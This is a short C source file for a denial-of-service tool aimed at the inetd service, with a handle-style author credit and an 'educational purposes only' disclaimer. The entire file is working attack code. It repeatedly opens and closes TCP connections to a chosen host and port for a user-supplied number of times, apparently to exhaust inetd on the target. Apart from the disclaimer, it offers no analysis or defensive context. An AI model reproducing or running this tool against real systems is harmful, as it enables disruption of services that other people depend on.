/*
 Inetd DoS by ArchAng3| 0f Death - Member Of Midgard Security Team.
 Disclaimer : This is for educational purposes only!
*/

#include <stdio.h> 
#include <string.h>
#include <stdlib.h>
#include <netdb.h> 
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

int sockz;

void usage(char *esez)
{
  printf("Inetd DoS by ArchAng3| 0f Death - Member Of Midgard Security
Team\n\n");
  printf("Syntax : %s host port [times to connect]\n\n",esez);
}

void main(int argc, char *argv[])
{
   int i;
   if(argc!=4){ usage(argv[0]); exit(0); }
   for(i=0;i<atoi(argv[3]);i++){
     DoS(argv[1],argv[2]);
     printf("%d - ",i+1);
   }
   printf("Done!\n");
}     

int DoS(char *z,char *x)
{ 
   struct sockaddr_in sin;
   struct hostent *he;
   he=gethostbyname(z);
     if(he) {
        memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
     } else {
        printf("Host [%s] --> Hmm , are you sure this is
right??\n\n",z);
        exit(-1);
     }
   
     sockz = socket(AF_INET, SOCK_STREAM, 0);
   
     if(sockz < 0) {
        printf("** Socket Error **\n");
        exit(-1);
     }
   
     sin.sin_family = AF_INET;
     sin.sin_port = htons(atoi(x));
   
     if(connect( sockz, (struct sockaddr * )&sin, sizeof(sin)) < 0 ) {
        printf("Host --> [%s] ** Port --> [%s]\n",z,x);
        printf("Closed or Firewalled Port\n");
        exit(-1);
     }
   close(sockz);
}
